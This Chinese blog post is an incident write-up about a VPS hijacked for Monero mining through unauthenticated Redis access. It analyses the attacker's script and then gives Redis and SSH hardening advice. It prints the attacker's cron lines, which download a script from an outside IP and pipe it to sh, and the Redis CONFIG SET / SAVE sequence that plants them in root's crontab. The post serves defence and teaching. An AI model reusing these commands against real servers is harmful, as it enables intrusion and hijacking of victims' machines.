文/溫國兵
這是「區塊鏈技術指北」的第 28 篇文章。
如果對我感興趣,想和我交流,我的微訊號:Wentasy,加我時簡單介紹下自己,並註明來自「區塊鏈技術指北」。同時我會把你拉入微信群「區塊鏈技術指北」。BTW,李笑來老師也加入了我的知識星球,文末有加入方式。
0x00 背景
某日,筆者收到 VPS 伺服器 CPU 告警,上伺服器一看,有個叫做 gpg-agentd 的程式佔用大量的 CPU 資源。接著就是常規的排查,IO 情況、網路流量、記憶體情況、系統日誌、crontab 等。當排查到 crontab 時,發現 crontab 有如下的任務:
*/5 * * * * curl -fsSL http://84.73.251.157:81/bar.sh | sh
*/5 * * * * wget -q -O- http://84.73.251.157:81/bar.sh | sh
複製程式碼
該伺服器提供 Redis 資源供筆者測試使用,明顯上面兩個定時任務不是筆者建立的。定時任務訪問外網伺服器,緊急處理有三點,一是確認其他服務是否受到影響,二是註釋定時任務,三是臨時斷外網,處理完之後,再來排查原因。
題圖來自: © kisspng.com / Anonymous Guy Fawkes mask Gunpowder Plot / kisspng.com
0x01 挖礦指令碼分析
筆者把該 Shell 指令碼下載到本地,然後進行分析。該指令碼包含以下函式:
- IKILLYOU
- FIRE
- DOWNLOAD
- INFO
- CRON
- CLEAN
- INIT
- ITABLE
我們 逐個分析。IKILLYOU 函式會 kill 掉 ssuspsplk 和 gpg-agentd 程式。CRON 函式會將文首的兩個 crontab 寫入到 /tmp/.bla.cron 檔案,接著清空使用者的 crontab,然後將 /tmp/.bla.cron 檔案載入到 crontab。FIRE 函式刪除掉 6379 埠相關的防火牆,允許本地連線,同時將防火牆配置持久化。INFO 函式用於收集主機資訊,包含當前伺服器程式、伺服器硬體屬性、系統核心版本、Linux 發行版本、Linux 發行的詳細版本、Linux 標準規範資訊、crondb 檔案幫助資訊(下文還會詳細說明這個檔案的作用),最後將以上資訊上傳到 84.73.251.157 指定目錄。
接下來我們看下 DOWNLOAD 函式。該函式從 84.73.251.157 下載 crondb
和 c.j
檔案,放到本地的 /tmp 目錄。接下來執行關鍵的一步,/tmp/crondb -c /tmp/c.j -B。
我們將 crondb 檔案和 c.j 放到本地,對這個兩個檔案進行分析。
上文提到 INFO 函式將獲取 crondb 檔案幫助資訊。我們來執行下 INFO 函式的語句。
./crondb --help
Usage: xmrig [OPTIONS]
Options:
-a, --algo=ALGO cryptonight (default) or cryptonight-lite
-o, --url=URL URL of mining server
-O, --userpass=U:P username:password pair for mining server
-u, --user=USERNAME username for mining server
-p, --pass=PASSWORD password for mining server
-t, --threads=N number of miner threads
-v, --av=N algorithm variation, 0 auto select
-k, --keepalive send keepalived for prevent timeout (need pool support)
-r, --retries=N number of times to retry before switch to backup server (default: 5)
-R, --retry-pause=N time to pause between retries (default: 5)
--cpu-affinity set process affinity to CPU core(s), mask 0x3 for cores 0 and 1
--cpu-priority set process priority (0 idle, 2 normal to 5 highest)
--no-huge-pages disable huge pages support
--no-color disable colored output
--donate-level=N donate level, default 5% (5 minutes in 100 minutes)
--user-agent set custom user-agent string for pool
-B, --background run the miner in the background
-c, --config=FILE load a JSON-format configuration file
-l, --log-file=FILE log all output to a file
-S, --syslog use system log for output messages
--max-cpu-usage=N maximum CPU usage for automatic threads mode (default 75)
--safe safe adjust threads and av settings for current CPU
--nicehash enable nicehash/xmrig-proxy support
--print-time=N print hashrate report every N seconds
--api-port=N port for the miner API
--api-access-token=T access token for API
--api-worker-id=ID custom worker-id for API
-h, --help display this help and exit
-V, --version output version information and exit
複製程式碼
看到 Usage 這一步,再去 GitHub 專案搜尋,我們可以得知 xmrig 是用於 Monero (XMR) CPU 挖礦的。接下來我們看下 c.j 檔案,從 /tmp/crondb -c /tmp/c.j -B 得知。-c 參數列示配置檔案,-B 表示後臺執行。也就是說 c.j 是一個配置檔案。我們開啟 c.j 檔案,看到關鍵的 pools 配置,可以得知 user 配置如下:
423DEFLqFZwb4gm9fMHVY8dm8KMFXhkMHg5FBwi9nXfS6P5LCd7cArbV83Cmmwi7ouBHihZS74ckNbRDyGNruQAFBnNCeNK
我們推測這是個 Monero (XMR) 錢包。
我們把 crondb 上傳到 virscan.org,分析得出,詳細的報告點選 這裡,其中 ikarus 標記為 PUA.CoinMiner,qh360 標記為 Win32/Virus.DoS.dc1,rising 標記為 Trojan.Linux.XMR-Miner。這也印證了這是個用於挖礦的可執行檔案。
我們接著分析。接下來就是一些毀滅性的工作:
- 清空 /var/log/wtmp
- 清空 /var/log/secure
- 清空歷史執行命令
- 修改包含 linuxsyn、clay、udevs、psql、smartd、redisscan.sh、ebscan.sh、gpg-agent、gpg-agentd、kethelper 檔案的許可權為 0644
- 清空 /tmp/unixinfect/imworking 檔案
CLEAN 函式也是一個毀滅性的函式。首先會修改 /etc/security/limits.conf 和 /etc/sysctl.conf 系統配置檔案。加入如下配置:
* soft memlock 262144
* hard memlock 262144
vm.nr_hugepages = 256
複製程式碼
接下來刪除 RMLIST 列表的檔案,kill 掉 KILIST 列表的程式。KILIST 裡有些什麼呢?也是挖礦的錢包地址或者相關的程式。這位哥們只想自己獲利,不關心兄弟的死活,呵呵。接下來執行瘋狂的 kill,也是挖礦錢包地址或者相關的程式,不過這個列表就有點多了,在此不贅述。
我們繼續分析。INIT 函式修改 nr_hugepages 核心配置,ITABLE 函式刪除掉 6379 埠相關的防火牆,允許本地連線,接下來 CRON 函式跟上文所述功能一致,在此不贅述。
最後做了指令碼優化,如果發現沒有 /tmp/crondb 和 /tmp/c.j 檔案,繼續下載。如果你的系統 GLIBC 版本不滿足它的需求,還會幫你升級,載入到 LD_LIBRARY_PATH。接著將他自己的 key 寫入到 authorized_keys 檔案,這樣它可以免密登陸,方便後續的操作。最後再清空 /var/log/wtmp、清空 /var/log/secure、清空歷史執行命令。
由於 Monero (XMR) 不可追溯性,讀者無法通過錢包地址追溯交易記錄,也就是說我們無從得知黑客從中獲益多少。
0x02 伺服器被黑分析
分析到這裡,我們對挖礦過程過程比較清楚了。但問題是,伺服器為什麼會被黑呢?
從剛才的分析得知,該指令碼會處理 6379 埠,6379 埠是我們熟知的 Redis 埠。Redis 作者 antirez 很早之前寫過一篇文章:A few things about Redis security,文中提到未授權訪問漏洞,具體的漏洞可以參考這篇文章。
由於 VPS 伺服器 Redis 埠沒有新增密碼,防火牆雖然開啟,但防火牆開放許可權過大,導致黑客趁機攻擊。具體操作流程是怎麼樣的呢?
第一,掃描到該 VPS IP 存在 6379 Redis 埠,嘗試無密碼登陸。
第二,依次執行如下命令。
set key1 "
*/5 * * * * curl -fsSL http://84.73.251.157:81/bar.sh | sh
"
set key2 "
*/5 * * * * wget -q -O- http://84.73.251.157:81/bar.sh | sh
"
config set dir /var/spool/cron/
config set dbfilename root
save
複製程式碼
第三,Linux 伺服器自動載入到 crontab,然後定時任務執行 bar.sh 指令碼,伺服器被動用於挖礦。
由於 Redis 開啟了 AOF,我們利用如下的指令碼將 AOF 回溯 [1],可以確認寫入 KEY 的鍵值對。
#!/usr/bin/env python
""" A redis appendonly file parser
"""
import logging
import hiredis
import sys
if len(sys.argv) != 2:
print sys.argv[0], `aof_file`
sys.exit()
file = open(sys.argv[1])
line = file.readline()
cur_request = line
while line:
req_reader = hiredis.Reader()
req_reader.setmaxbuf(0)
req_reader.feed(cur_request)
command = req_reader.gets()
try:
if command is not False:
print command
cur_request = ``
except hiredis.ProtocolError:
print `protocol error`
line = file.readline()
cur_request += line
file.close
複製程式碼
分析到此為止,我們可以從中得知,未授權漏洞是相當危險的,只要有這個口子,黑客可以做任何事情。
0x03 防禦方案
黑客作案手法我們已經清楚,那怎麼樣才能防禦呢?筆者在這裡給出自己的思考。
3.1 Redis 方面
Redis 作者在 A few things about Redis security 一文中提到,Redis 因配置不當可以導致未授權訪問,被攻擊者惡意利用。當前流行的針對 Redis 未授權訪問的一種新型攻擊方式,在特定條件下,如果 Redis 以 root 身份執行,黑客可以給 root 賬戶寫入 SSH 公鑰檔案,直接通過 SSH 登入受害伺服器,或者寫入 crontab 定時任務,執行有危害的服務。這些攻擊可能導致伺服器許可權被獲取和資料刪除、洩露或加密勒索事件發生,嚴重危害業務正常服務。[2]
第一,網路層加固,通常有如下兩種方式:
- Redis 預設繫結在 0.0.0.0,也就是所有的 IP 都能訪問。建議的做法是配置檔案新增 bind 引數,允許本機以及內網 IP 地址訪問,比如
bind 127.0.0.1 192.168.0.1
複製程式碼
注:Redis 從 2.8.0 版本開始,支援雙 IP 繫結。
- 設定防火牆策略,比如:
iptables -A INPUT -s x.x.x.x -p tcp --dport 6379 -j ACCEPT
複製程式碼
第二,賬號與認證
設定訪問密碼,配置檔案新增 requirepass,這個配置可以線上修改,配置完成之後,執行 CONFIG REWRITE 持久化到配置檔案。
第三,服務執行許可權最小化
Redis 預設使用 root 賬號執行,但這會帶來不可控的風險。我們希望用較低許可權的使用者來執行 Redis,實現賬戶隔離,保障 Redis 服務以及主機的安全。
調整如下:
# 建立 redis 使用者組
groupadd -r redis
# 新增 redis 使用者,指定為系統使用者,並且預設 Shell 改為 /sbin/nologin
useradd -c "Redis" -d /var/lib/redis -g redis -m -r -s /sbin/nologin redis
# 更改 Redis 主目錄的許可權
chown redis:redis -R /opt/redis
# 更改 Redis 相關程式的許可權
chown redis:redis /usr/local/bin/redis*
複製程式碼
最後再以 Redis 使用者啟動例項。
su -s /bin/bash redis -c "/usr/local/bin/redis-server /opt/redis/$port/redis.conf"
複製程式碼
第四,服務精細化授權
Redis 沒有賬戶許可權系統,為了避免入侵之後服務級命令需要重新命名或者遮蔽。
高危的命令如下:
- FLUSHDB
- FLUSHALL
- KEYS
- PEXPIRE
- DEL
- CONFIG
- SHUTDOWN
- BGREWRITEAOF
- BGSAVE
- SAVE
- SPOP
- SREM
- RENAME
- DEBUG
- EVA
我們可以在配置檔案新增對上述命令重新命名或者遮蔽。
# 遮蔽 CONFIG 命令
rename-command CONFIG ""
# 重新命名 CONFIG 命令
rename-command CONFIG "XKGLx9LFl87mQQLVl0b7UI4VZJESG5iU"
複製程式碼
第五,安全補丁
關注官方版本的變化以及漏洞列表,及時修補,必要時進行升級。
3.2 伺服器方面
除了 Redis 本身,伺服器方面我們也有很多安全策略。
第一,伺服器不使用預設的 22 埠。22 埠是 SSH 服務的預設埠,這也是黑客掃描伺服器 ssh 服務的預設埠。修改 SSH 埠的方法如下:vim 編輯 /etc/ssh/sshd_config
,將其中的 Port 22
引數改成你想要的埠,通常 5 位數字最好。修改完成之後,重啟 sshd 服務生效。
第二,禁止使用密碼登陸,使用 RSA 公鑰登陸。本地機器可以使用 ssh-keygen -t rsa
生成公鑰和私鑰,然後將公鑰追加到伺服器上的 ~/.ssh/authorized_keys 檔案,注意此檔案的許可權是 600。SSH 配置如下:
RSAAuthentication yes # RSA認證
PubkeyAuthentication yes # 開啟公鑰驗證
AuthorizedKeysFile .ssh/authorized_keys # 驗證檔案路徑
PasswordAuthentication no # 禁止密碼認證
PermitEmptyPasswords no # 禁止空密碼
複製程式碼
最後重啟 sshd 服務即可生效。
第三,禁止 root 使用者登入。線上伺服器,我們通常會以普通使用者登陸,然後再 su – root 切換到 root 使用者,這樣做的好處是,即使被攻擊了,也能有相應的保障。具體的方法是修改 /etc/ssh/sshd_config
配置檔案,將 PermitRootLogin
改為 no。
第四,新增伺服器監控。針對本文的案例,特別注意 CPU 告警。另外,還需要監測異常程式。
第五,開啟防火牆。有公網 IP 的伺服器,防火牆策略一定要做好。通常我們會限定 IP、限定埠,可以是特定的 IP 或者埠,也可以是 IP 或者埠範圍,但切記開放某個 IP 段。
第六,只從官方獲取軟體。非官方渠道的軟體很有可能被加入其他木馬檔案。正確的做法是隻從官方下載,下載下來還要檢查下檔案的 MD5 值是否和官方公佈的一致。
第七,可以使用類似 fail2ban 對伺服器安全進行加固。它會監控多個系統的日誌檔案,並根據檢測到的任何可疑的行為自動觸發不同的防禦動作。
3.3 其他服務
如果 VPS 伺服器部署了 MySQL 等服務,這裡也有很多安全措施。比如刪除匿名賬戶、刪除 test 庫、許可權最小化等。如果對 MySQL 安全感興趣的可以參考 此文。
3.4 日常使用者
對於沒有 VPS 伺服器的群友,那怎麼樣做好安全呢?即使沒有 VPS 伺服器,你的 PC 或者 Mac 也有可能被黑,用於挖礦。之前寫過一篇 區塊鏈資產安全攻略,讀者可以參考下。針對本文的案例,這裡筆者提出幾點建議:
- 不要下載未知軟體。
- 關注 PC 或者 Mac 動態,PC 有工作管理員,Mac 有 Activity Monitor,通常電腦被用於挖礦,CPU 資源會相當緊張。
- 使用 Chrome 等瀏覽器,謹慎訪問網站。說不定你經常訪問的網站哪天就被植入挖礦指令碼。
- PC 關閉遠端桌面共享、檔案共享,Mac 關閉訪客賬戶、檔案共享、遠端登陸。有需要使用時才開啟,但用完之後立馬關閉。
0x04 小結
本篇文章從一起伺服器被黑事件說起,分析了挖礦指令碼、被黑過程,以及從 Redis 、伺服器、其他服務、日常使用者等方面給出了防禦方案。除了 Redis 的未授權訪問漏洞,目前主要存在未授權訪問漏洞的還有:NFS,Samba,LDAP,Rsync,FTP,GitLab,Jenkins,MongoDB,ZooKeeper,ElasticSearch,Memcache,CouchDB,Docker,Solr,Hadoop,Dubbo 等,安全重於泰山,讀者千萬不要掉以輕心。
對本文涉及到的攻擊指令碼感興趣的讀者,可以去 GitHub clone 看看。repo 連結:
0x05 參考
- [1] 白宸 (2016-11-17). Redis 協議簡介及持久化 Aof 檔案解析. Retrieved from yq.aliyun.com/articles/64….
- [2] 阿里雲 (2017-12-04). Redis 服務安全加固. Retrieved from help.aliyun.com/knowledge_d….
「區塊鏈技術指北」同名 知識星球,二維碼如下,歡迎加入。BTW,李笑來老師也加入了。
「區塊鏈技術指北」相關資訊渠道:
- 「區塊鏈技術指北」同名知識星球,t.xiaomiquan.com/ZRbmaU3
- 官方社群,bcage.one
- Telegram Channel,t.me/BlockchainA…
- Telegram Group,t.me/bcage
- Twitter,twitter.com/bcageone
- 新浪微博,weibo.com/BlockchainA…
同時,本系列文章會在以下渠道同步更新,歡迎關注:
- 「區塊鏈技術指北」同名微信公眾號(微訊號:BlockchainAge)
- 個人部落格,dbarobin.com
- 知乎,zhuanlan.zhihu.com/robinwen
- Steemit,steemit.com/@robinwen
- Medium,medium.com/@robinwan
- 掘金,robinwen@juejin.im
- 幣乎,bihu.com/people/1210…
原創不易,讀者可以通過如下途徑打賞,虛擬貨幣、美元、法幣均支援。
- BTC: 3QboL2k5HfKjKDrEYtQAKubWCjx9CX7i8f
- ERC20 Token: 0x8907B2ed72A1E2D283c04613536Fac4270C9F0b3
- PayPal: www.paypal.me/robinwen
- 微信打賞二維碼
–EOF–